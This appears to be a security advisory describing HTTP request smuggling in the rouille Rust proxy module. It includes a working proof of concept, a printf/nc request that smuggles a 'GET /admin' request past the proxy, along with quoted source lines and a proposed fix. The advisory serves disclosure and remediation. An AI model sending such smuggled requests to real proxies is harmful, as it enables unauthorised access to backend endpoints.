
Security Advisory: HTTP Request Smuggling via Transfer-Encoding Desynchronization (rouille)
Assigned CVE ID: CVE-2026-67181
rouille::proxy::proxy forwards the client's Transfer-Encoding header to the
backend unchanged, but writes the request body that tiny_http has already
de-chunked. It never emits a Content-Length of its own. The backend is told the
body is chunked and handed bytes that are not chunked, so the client, not
rouille, decides where the backend thinks the body ends.
Repo URL: https://github.com/tomaka/rouille
| First affected | 0.3.3 (2016-12-03), the release that introduced src/proxy.rs |
| Last affected | 3.6.2 (2023-04-24), the current release |
| Not affected | 0.3.2 and earlier, which have no proxy module |
| Fixed in | no fixed version at time of writing |
src/proxy.rs is byte-identical between the 3.6.2 tag and current master.
Only applications calling proxy::proxy or proxy::full_proxy are affected.
CWE-444 (Inconsistent Interpretation of HTTP Requests).
CVSS 4.0 base score 6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
A remote, unauthenticated client sending raw HTTP to a rouille application that acts as a reverse proxy. No credentials or user interaction are needed.
The impact depends on the backend. Backends that pipeline regardless of
Connection: close, and any connection-pooling intermediary sitting between
rouille and the origin, will act on the smuggled request. Backends that honour
Connection: close still end up with a request body different from the one the
client sent and the one rouille observed.
tiny_http de-chunks whenever any Transfer-Encoding header is present and
discards Content-Length.
tiny_http-0.12.0/src/request.rs, lines 149 to 159:
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
154 } else {
tiny_http-0.12.0/src/request.rs, lines 218 to 221:
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
rouille/src/proxy.rs then forwards every header except Connection and copies
the decoded body. Lines 167 to 174:
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
The client's Transfer-Encoding: chunked survives line 171. Line 174 writes the
plaintext that Decoder produced. No Content-Length is ever written, so the
backend has nothing else to frame on and applies chunked parsing to plaintext
the attacker chose.
Step 1. Start a raw listener on port 8001 to act as the backend and show the bytes rouille sends.
nc -l 127.0.0.1 8001 | cat -v
Step 2. Start a rouille front end on port 8000.
use rouille::proxy;
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
Step 3. Send a correctly chunked request whose decoded body is itself a chunked stream that ends immediately, followed by a second request. The single chunk is 0x3d = 61 bytes long.
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000
Result. The listener from step 1 shows rouille announcing chunked framing and then sending plaintext:
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close
0
GET /admin HTTP/1.1
Host: x
X-Smuggled: yes
A backend honouring Transfer-Encoding: chunked reads the chunk-size line 0,
concludes the body is empty, and parses the remaining 56 bytes as a new request.
The backend's view of the request body differs from both the bytes the client sent and the bytes rouille read. Anything upstream that logs, audits, or mirrors the body records something other than what the backend acted on.
Where the backend pipelines despite Connection: close, or where a
connection-pooling intermediary sits between rouille and the origin, the trailing
bytes become a second request with an attacker-chosen method and path.
The client's Content-Length is also forwarded even though tiny_http ignored
it, so a backend that prefers Content-Length over Transfer-Encoding gets a
CL.TE desynchronisation directly.
Do not forward framing headers that describe a body rouille has already decoded.
In src/proxy.rs, extend the skip at line 167:
if header.eq_ignore_ascii_case("Connection")
|| header.eq_ignore_ascii_case("Transfer-Encoding")
|| header.eq_ignore_ascii_case("Content-Length")
{
continue;
}
Then emit framing that matches what is actually written: buffer the body and
send an accurate Content-Length, or re-chunk it and send
Transfer-Encoding: chunked yourself, before the terminating \r\n\r\n on
line 173.